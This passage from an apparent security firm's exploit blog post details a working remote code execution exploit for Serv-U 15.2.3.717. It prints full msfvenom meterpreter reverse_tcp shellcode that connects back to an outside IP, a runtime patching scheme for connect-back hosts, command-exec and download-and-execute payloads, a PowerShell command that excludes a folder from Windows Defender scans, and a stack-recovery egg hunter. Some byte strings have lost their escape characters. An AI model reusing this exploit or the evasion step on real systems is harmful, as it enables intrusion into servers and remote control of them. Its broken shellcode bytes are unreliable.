# Assuming we have address of VirtualProtect's trampoline in rax
jmp [rax]
ret
And that's it! The part of the stack on which our shellcode resides is now executable.
Shellcode
I took standard shellcode generated by msfvenom
and patched it at exploit runtime to do my bidding. For example, consider the Metasploit-compatible shellcode stager. It's generated like so:
[2021-10-19T18:47:49Z] [email protected]:/ehome/haggis# msfvenom -p
windows/x64/meterpreter/reverse_tcp LHOST=192.153.76.22 LPORT=443 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of c file: 2166 bytes
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
"x80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8b"
"x48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41"
"x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1"
"xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
"x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
"x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
"x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
"x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
"x49xbcx02x00x01xbbxc0x99x4cx16x41x54x49x89xe4"
"x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
"x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
"x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
"xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
"x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
"xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
"x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
"x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
"x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
"xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
"x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
"x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
"x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
"xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
"xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5";
The IP address to which the shellcode connects to download the second-stage shellcode is at these offsets:
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
"x80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8b"
"x48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41"
"x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1"
"xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
"x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
"x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
"x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
"x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
"x49xbcx02x00"
"PP" # connect-back port @ offs 244
"HHHH" # connect-back IP address @ offs 246
"x41x54x49x89xe4"
"x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
"x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
"x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
"xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
"x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
"xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
"x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
"x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
"x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
"xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
"x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
"x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
"x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
"xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
"xffxe7x58"
My exploit simply patches in the IP:port specified on the command line at runtime. This makes it easy for the user/attacker to use arbitrary shellcode stagers / Sliver instances / Metasploit instances at runtime without having to generate new shellcode every time.
I used the same trick for the command exec shellcode, which simply tacks on the user-specified commands to the end of the shellcode:
shellcode = (
b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
b"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
b"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
b"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
b"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
b"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
b"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
b"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
b"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
b"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
b"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
b"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
b"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
b"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
b"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
b"x87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxff"
b"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
b"x47x13x72x6fx6ax00x59x41x89xdaxffxd5"
)
rop[offs_NOP_sled+offs_NOP_sled_padding+267:] = shellcode + cmd.encode() + b"x00"
Again, this saves the user generating new shellcode every time. Finally, I implemented a download + exec feature, which accepts a user-specified URL, downloads an executable from the URL to C:WindowsTemp
then runs it. One little wrinkle I added is a PowerShell command to disable Windows Defender virus/malware scans from running in C:WindowsTemp
so you can run completely unobfuscated Sliver/Meterpreter payloads without getting tripped up by Microsoft endpoint security.
The PowerShell command to do this is:
powershell -Command "& {Add-MpPreference -ExclusionPath c:windowstemp}"
Without that command you'll find Windows Defender alerts on almost any payload you care to drop. Note: I don't recommend this for red team engagements because you'll still get caught by a zillion other controls. But for simple use cases, it's more than sufficient to pop a connect-back shell or Sliver session.
I Almost Forgot About Unpivoting the Stack
Sometimes it's necessary to return the stack pointer to whence it came so that the exploited process can resume execution and handle any errors/exceptions tidily. This exploit crashes Serv-U, but it automatically restarts. This is unacceptable in a lot of scenarios and making it not crash is left as an exercise for the reader.
However, returning the stack to normal is an interesting problem because in ROP we don't usually save the stack pointer before pivoting to a different stack - the malicious ROP one. Getting it back generally involves querying the Thread Environment Block ("TEB") and Process Environment Block ("PEB") via the gs
: segment register on 64-bit Intel/AMD Windows. These blocks are maintained by the operating system and provide thread-local storage for metadata about running threads.
The TEB starts at gs:[0]
with a pointer to the PEB at gs:[0x30]
. The PEB contains the stack starting address at offset 0x10
. The following code can be used to read it:
# recover the original stack
mov rax, 0x30
mov rax, qword gs:[rax] # Read address of PEB out of TEB
add rax, 0x10 # Offset in PEB to pre-exploit stack frame address
mov rax, qword ptr [rax] # Dereference [rax] to read the stack frame address out of the PEB
mov rdi, rax # Store address of old stack frame in rdi
In order to return rsp
to the same address it contained at the very beginning of the exploit - at the point when call r9
first occurred - I need to find the precise address of the top of the old stack frame. This turns out to be easy because the stack frame contains return addresses in Serv-U.dll
which as we saw earlier does not support ASLR.
As a result I can simply look at a stack trace taken at the point call r9
is called and make note of the addresses there. For example, consider this stack trace taken from exactly the scenario just described:
>0:013> k
# Child-SP RetAddr Call Site
00 0000009d`d2aff320 00000000`72111cb8 LIBEAY32!CRYPTO_ctr128_encrypt+0xc6
01 0000009d`d2aff380 00000000`7218f41b LIBEAY32!EVP_rc4_40+0x488
02 0000009d`d2aff3d0 00000000`7210efaa LIBEAY32!FINGERPRINT_premain+0x291b
03 0000009d`d2aff410 00000001`8016086c LIBEAY32!EVP_EncryptUpdate+0xda
04 0000009d`d2aff460 00000001`80141795 Serv_U!CUPnPNotifyEvent::SetTimeout+0x22b7c
05 0000009d`d2aff4a0 00000001`80141263 Serv_U!CUPnPNotifyEvent::SetTimeout+0x3aa5
06 0000009d`d2aff4e0 00000001`80144fb0 Serv_U!CUPnPNotifyEvent::SetTimeout+0x3573
07 0000009d`d2aff580 00000200`577f8dd7 Serv_U!CUPnPNotifyEvent::SetTimeout+0x72c0
08 0000009d`d2aff650 00000200`577f8c5c RhinoNET!CRhinoSocket::ProcessReceiveBuffer+0x33
09 0000009d`d2aff690 00000200`577f6c4e RhinoNET!CRhinoSocket::OnReceive+0x170
0a 0000009d`d2aff6e0 00000200`577f32eb RhinoNET!CRhinoProductSocket::OnReceive+0x3e
0b 0000009d`d2aff710 00000200`577f356b RhinoNET!CAsyncSocketX::DoCallBack+0x107
0c 0000009d`d2aff740 00000200`577f350f RhinoNET!CAsyncSocketX::ProcessAuxQueue+0x53
0d 0000009d`d2aff770 00007fff`5ffda399 RhinoNET!CSocketWndX::OnSocketNotify+0x13
0e 0000009d`d2aff7a0 00007fff`5ffd97af mfc140u!CWnd::OnWndMsg+0xba9 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 2698]
0f 0000009d`d2aff920 00007fff`5ffd7093 mfc140u!CWnd::WindowProc+0x3f [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 2099]
10 0000009d`d2aff960 00007fff`5ffd7464 mfc140u!AfxCallWndProc+0x123 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 265]
11 0000009d`d2affa50 00007fff`5fe7a509 mfc140u!AfxWndProc+0x54 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 417]
12 0000009d`d2affa90 00007fff`90c60089 mfc140u!AfxWndProcBase+0x49 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCafxstate.cpp @ 299]
13 0000009d`d2affad0 00007fff`90c5fa02 USER32!UserCallWinProcCheckWow+0x319
14 0000009d`d2affc60 00000001`8016ea75 USER32!DispatchMessageWorker+0x1d2
15 0000009d`d2affce0 00000001`8016eaed Serv_U!CUPnPNotifyEvent::SetTimeout+0x30d85
16 0000009d`d2affd50 00007fff`8ee36b4c Serv_U!CUPnPNotifyEvent::SetTimeout+0x30dfd
17 0000009d`d2affd80 00007fff`90954ed0 ucrtbase!thread_start+0x4c
18 0000009d`d2affdb0 00007fff`9124e20b KERNEL32!BaseThreadInitThunk+0x10
19 0000009d`d2affde0 00000000`00000000 ntdll!RtlUserThreadStart+0x2b
The first Serv-U stack frame is at index #4 and contains the saved return address for the instruction at:
Serv_U!CUPnPNotifyEvent::SetTimeout + 0x22b7c: 04 0000009d`d2aff460 00000001`80141795 Serv_U!CUPnPNotifyEvent::SetTimeout+0x22b7c
The return address is 0x180141795
and always will be due to the absence of ASLR. Therefore to find the original stack I just hunt for 0x80141795
(the 4-byte DWORD equivalent of the 5-byte address 0x0180141795
) starting at the address I pulled out of the PEB. I built the following egg hunter:
# Egg hunter for the value 0x80141795 starting at the PEB's stack address.
# No egg-not-found error handling because if this code is running then the
# stack frame we're looking for is guaranteed to exist.
mov eax, 0x80141795 # saved RIP we want to find
mov rcx, 0x4000 # how much memory will we search
cld # clear DF, direction flag
repne scasd eax, dword [rdi] # find the saved stack ptr starting @ [rdi]
mov rax, rdi # save the found stack address in rax
mov rdx, 0x140 # the top of the original stack frame is...
sub rax, rdx # ...0x140 bytes upwards
mov rsp, rax # pivot to the new (old!) stack
You'll notice that some math is being done to subtract 0x140 from rax
before writing it to rsp
. This is to account for the fact that our egg - the saved return address - was not at the top of the stack frame list. In fact, it was index #4 and I need rsp
to point at the frame index #0:
# Child-SP RetAddr Call Site
00 0000009d`d2aff320 00000000`72111cb8 LIBEAY32!CRYPTO_ctr128_encrypt+0xc6
...
04 0000009d`d2aff460 00000001`80141795 Serv_U!CUPnPNotifyEvent::SetTimeout+0x22b7c
The offset on the stack between #4 and #0 is 0x9dd2aff460 - 0x9dd2aff320 = 0x140
so I subtract that amount from rax
before setting the stack pointer, rsp
.
One of the beautiful things about Radare2 is its ability to turn code into opcodes for shellcode. So the above code becomes:
% cat /tmp/s.asm
mov eax, 0x80141795
mov rcx, 0x4000
cld
repne scasd eax, dword [rdi]
mov rax, rdi
mov rdx, 0x140
sub rax, rdx
mov rsp, rax
% cat /tmp/s.asm | rasm2 -a x86 -b 64 -
b89517148048c7c100400000fcf2af4889f848c7c2400100004829d04889c4
Simple and elegant.
Lastly, I could return most of the registers to their pre-exploit values before returning control of execution to the old stack; doing so is left as an exercise for the reader.
In Summary
This was a fun exploit, and I got lucky a few times! The fact that ASLR was disabled on the Serv-U dll was crazy lucky and saved a lot of hassle.
Other mitigations, such as Control Flow Guard ("CFG"), were also disabled. This again made it easy to write an exploit without having to work around restricted access to critical functions, such as GetProcAddress()
.
It's worth pointing out that the method I use to calculate the address of the ROP stack can, on occasion, generate an address that isn't 64-bit aligned. As a result, when GetProcAddress()
reaches a MOVAPS instruction (which requires memory addresses to be aligned) the exploit crashes. To make the exploit more reliable, the solution is to force the ROP stack to be located at an aligned address; this would require some wrangling and is left as an exercise for the reader.
It should also be pointed out that the exploit is currently hard-coded for Serv-U 15.2.3.717. To build against other Serv-U versions would require a little work to recalculate the ROP gadget addresses in Serv-U.dll. Hopefully, we'd find the same gadgets in the other versions of Serv-U, but I haven't looked yet.
Let us know what you think; you can connect with us on social media and follow us on GitHub for more exploits!
For more information on our continuous offensive security platform, you can get in touch with us via the Cosmos page.
Find Out First
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
.
Comments are closed.